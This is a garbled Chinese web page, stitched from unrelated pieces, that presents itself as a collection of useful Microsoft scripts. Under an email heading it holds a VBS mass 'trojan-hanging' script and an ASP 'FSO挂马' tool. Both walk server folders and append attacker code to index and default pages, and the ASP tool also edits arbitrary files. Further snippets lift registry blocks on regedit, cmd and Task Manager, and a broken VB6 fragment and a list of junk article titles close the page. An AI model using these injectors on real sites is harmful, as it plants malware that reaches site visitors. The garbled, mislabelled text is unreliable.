在这一开发环境中,程序员唯一困难的是MicrosoftSDK提供了六百多个函数和与其一致的事件驱动(event-driven)编程技术几段非常有用的脚本(来自微软网站,由downmoon精心收集)

一、在网络硬件故障或网络故障断开时发送警告

调用方法示例:cscript网络断开.vbs>>F:\test\微软脚本\log.txt

二、在网络硬件连接成功或网络故障恢复连接时发送警告

调用方法示例:cscript网络连接.vbs>>F:\test\微软脚本\log.txt

三、获取所有域用户信息

调用方法示例:cscript域用户信息.vbs>>F:\test\微软脚本\域用户信息.txt

四、修改文本文件内容

调用方法示例:ModifyFile.vbs

附件:

Sample.ini:

五、通过脚本发送电子邮件

从安装了SMTPService的计算机中发送电子邮件的脚本scan.vbe

cscriptscan.vbeweb目录

程序代码:

'版权信息

br="************************************"&vbCrLf

br=br&"*VBS批量挂马脚本*"&vbCrLf

br=br&"*BYBanLG*"&vbCrLf

br=br&"************************************"&vbCrLf&vbCrLf

br=br&"cscriptscan.vbeD:"&vbCrLf

'马的地址

ma=""

'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开

MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

'以"|"为分隔符拆分成数组

MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web为空退出脚本

ifweb=""then

Wscript.echo(br)

window.Close

endif

Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf

'创建对象

Setfso=createObject("Scripting.FileSystemObject")

'开始扫描挂马

scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾

subscan(filesder)

setfilesder=fso.getfolder(filesder)

'得到当前目录的所有文件集合

setfiles=filesder.files

'获取文件名

foreachfextinfiles

Setfile1=fso.GetFile(fext)

filesext=file1.Name

'把文件名转换成小写字母

ext=lcase(filesext)

ForEachindexinMyArray

'判断文件是不是我们在MyString里限定的文件,如果是就写马

ifext=lcase(index)then

Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作

ts.WriteLine(ma)

ts.Close

echo=""

echo=fext&"………….ok"

Wscript.echo(echo)

endif

next

next

setsubfolders=filesder.subfolders

foreachsubfolderinsubfolders'搜索其他目录,递归调用

scan(subfolder)

next

endsub

FSO挂马.asp

传进服务器以后直接输入需要挂马的路径就可以直接挂了

程序代码:

Response.Buffer=False

%>

ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")

ex=Request("ex")

pth=Request("pth")

newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then

selectCaseex

Case"edit"

CALLfile_show(pth)

Case"save"

CALLfile_save(pth)

Endselect

Else

%>

"method="POST">

FOLDER(ABSOLUTEPATH):

FunctionIsPattern(patt,str)

SetregEx=NewRegExp

regEx.Pattern=patt

regEx.IgnoreCase=True

retVal=regEx.Test(str)

SetregEx=Nothing

IfretVal=TrueThen

IsPattern=True

Else

IsPattern=False

EndIf

EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

schs

Else

Ifs<>""ThenResponse.Write"InvalidAgrument!"

EndIf

Subsch(s)

oNeRrOrrEsUmEnExT

Setfs=Server.createObject("Scripting.FileSystemObject")

Setfd=fs.GetFolder(s)

Setfi=fd.Files

Setsf=fd.SubFolders

ForEachfinfi

rtn=f.Path

step_allrtn

Next

Ifsf.Count<>0Then

ForEachlInsf

schl

Next

EndIf

EndSub

Substep_all(agr)

retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

IfretValThen

step1agr

step2agr

Else

ExitSub

EndIf

EndSub

%>

Substep2(str2)

addcode=""

Setfs=Server.createObject("Scripting.FileSystemObject")

isExist=fs.FileExists(str2)

IfisExistThen

Setf=fs.GetFile(str2)

Setf_addcode=f.OpenAsTextStream(8,-2)

f_addcode.Writeaddcode

f_addcode.Close

Setf=Nothing

EndIf

Setfs=Nothing

EndSub

%>

Subfile_show(fname)

Setfs1=Server.createObject("Scripting.FileSystemObject")

isExist=fs1.FileExists(fname)

IfisExistThen

Setfcnt=fs1.OpenTextFile(fname)

cnt=fcnt.ReadAll

fcnt.Close

Setfs1=Nothing%>

FILE:

"method="POST">

">

THEFILEISNOTEXITORHAVEdeleteD.

EndIf

EndSub

%>

Subfile_save(fname)

Setfs2=Server.createObject("Scripting.FileSystemObject")

Setnewf=fs2.createTextFile(fname,True)

newf.Writenewcnt

newf.Close

Setfs2=Nothing

Response.Write"

THEFILEWASMODIFIEDSUCCESSFULLY.

"

EndSub

%>

结果是:长长的字符连接串变得难于阅读

OnErrorResumeNext

SetWSHShell=WScript.CreateObject("WScript.Shell")

WithWScript.CreateObject("WScript.Shell")

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

.RegDelete"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"

EndWith

Mybox=MsgBox(enab&vbCR&"程序运行限制已解除!",1024,"Result")

dimAnumaslong

Anum=&010'&0是八进制的表示符号Anum自行转换为8

CreateObject( "WScript.Shell" ).Run _

DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByVal

hwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)

AsLong

PublicConstCB_FINDSTRING=&H14C

PrivateSubCombo1_Change()

DimiStartAsInteger

DimsStringAsString

StaticiLeftOffAsInteger

iStart=1

iStart=Combo1.SelStart

IfiLeftOff<>0Then

Combo1.SelStart=iLeftOff

iStart=iLeftOff

EndIf

sString=CStr(Left(Combo1.Text,iStart))

Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(

Left(ombo1.Text,iStart)))

IfCombo1.ListIndex=-1Then

iLeftOff=Len(sString)

combo1.Text=sString

EndIf

Combo1.SelStart=iStart

iLeftOff=0

EndSub

静态变量iLeftOff指定了字符长度

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\bytes2BSTR.htm刺激战场pc模拟器

(2).在打开记录集时检查错误但是藐视这样就把整个iexplorer.exe关闭了~~并不等达到过滤的问题~

php写dnf脚本,dnf分解机脚本c相关推荐

  1. linux 跳板机脚本,shell 实现跳板机

    zbuz添加用户,并批量分发ssh公钥脚本:#!/bin/bash . /etc/init.d/functions function add_user(){ jumper="$1" ...

  2. updater-script命令详解教你写刷机脚本

    updater-script命令详解,刷机脚本怎么写,这些问题都也算是安卓的入门知识了,今天就和大家讲解一下,讲解人是深度论坛的Seeyou,如果你想学习更多ROM制作安卓开发方面的知识,欢迎加入深度 ...

  3. 快速提高CSDN访问量 - 附脚本初代机

    快速提高CSDN访问量的方法 多写常用知识点的博客,想办法提高百度排名,注意标题不要写的太复杂 写国内比较新的技术,中短期奇效,效果很好 成系列的写技术文章,有利于增加评论,粉丝,中长期能够大幅度提高 ...

  4. 读懂华为U8825Dupdater-script刷机脚本

    cat /proc/mtd和cat/proc/emmc  没有信息 可能跟刷了第三方recovery有关? U8825D分区表 ~ # cat proc/partitions cat proc/par ...

  5. AutoHotKey写一个改键的小脚本

    应D君邀请写一个小的改键软件,用了一上午选择使用的脚本语言,下午开始去写.晚饭的时候,基本的功能完成了.先所说我要完成的脚本的功能吧.软件有一定编程基础的D君用,用户比较特定,功能越简单越好.因此,软 ...

  6. html如何调用短视频文件,短视频脚本怎么写?3种短视频脚本的创意写作方法干货分享!...

    短视频的崛起给了很多人发挥才能.自主创业的机会.而要想从短视频流量巨海中脱颖而出,除了本身所具备的才能外,还要求我们在短视频内容创作时有令人惊叹的创意. 其中,短视频脚本创作就是一个关键环节. 那么, ...

  7. python秒数转化为时间用户jianpang_Python写了个域名注册查询脚本,支持自定义数字,字母,拼音组合以及域名长度....

    Python写了个域名注册查询脚本,支持自定义数字,字母,拼音组合以及域名长度. python版本3.5,需要安装requests, lxml库 1.[代码][Python]代码 import req ...

  8. 【电子邮件提醒】用python写个能发邮件的脚本

    [电子邮件提醒]用python写个能发邮件的脚本 文章目录 [电子邮件提醒]用python写个能发邮件的脚本 邮箱使用 使用python发邮件 封装一个发邮件的类 发邮件类 使用说明 前言 : 使用p ...

  9. 写了一个播放quic的脚本,其他文件单独上传

    写了一个播放quic的脚本 import com.jd.forcebot.toolkit.parameterized.latest.AsciiFileAccessArbitrarily; import ...

  10. qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机

    ## qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机 > 之前由于goblog应用因为不知名问题导致程序crash,之前只检查过云服务内存的情况,但是其他信息暂未检查,今天远程到 ...

最新文章

  1. 博士因论文致谢走红后,回到母校演讲再刷屏!网友:是对寒门学子最好的激励...
  2. python小课堂25_python小课堂-循环
  3. b+树时间复杂度_深入理解数据库系统之存储存引擎(二叉搜索树)
  4. Docker操作笔记(四)使用网络
  5. setjump longjump
  6. Kotlin函数中默认参数
  7. nginx中js修改不生效的问题
  8. mysql eval,mysql中是否有类似于eval的写法的,答案在这里
  9. 一个漂亮的Bootstrap查找查询框,带下拉选择按钮
  10. Android开发笔记(一百零三)地图与定位SDK
  11. java判断题及答案_Java面试题及解析(判断题)
  12. vba 判断目标单元格内容改变的代码_【VBA小代码】批量改变单元格部分字符格式...
  13. Spring配置bean文件的底层实现方式
  14. 文件误删除怎么恢复?实用恢复方法不能错过
  15. SpringBoot笔记(五)Linux系统与项目部署
  16. LeetCode 55. 跳跃游戏
  17. Dialog中显示倒计时,到时自己主动关闭
  18. 时间复杂度O(1),O(n),O(logn),O(nlogn)的意思
  19. linux 拼图游戏,立体艺术拼图游戏
  20. 如何在贵金属白银现货走势分析中积累经验?

热门文章

  1. 复制 PDF 文件上的图片
  2. 【SENCHA TOUCH】datepickerfield将日期改为中文日期或自定义的日期
  3. PCS7 入门指南 v9.0 SP3 v9.1 中文版 学习资料 (官方公开可用资料)
  4. 【Java面试系列】Java微服务面试题
  5. power query时间函数(思维导图)
  6. qpython3h数字雨代码,html开发数字雨特效代码
  7. Java:Eclipse下载安装教程,以及Eclipse 安装汉化包的方法
  8. c语言入门篇:程序调试方法
  9. 地脚螺钉直径系列_地脚螺栓规格
  10. UWB定位记录二(DWM1000模组介绍)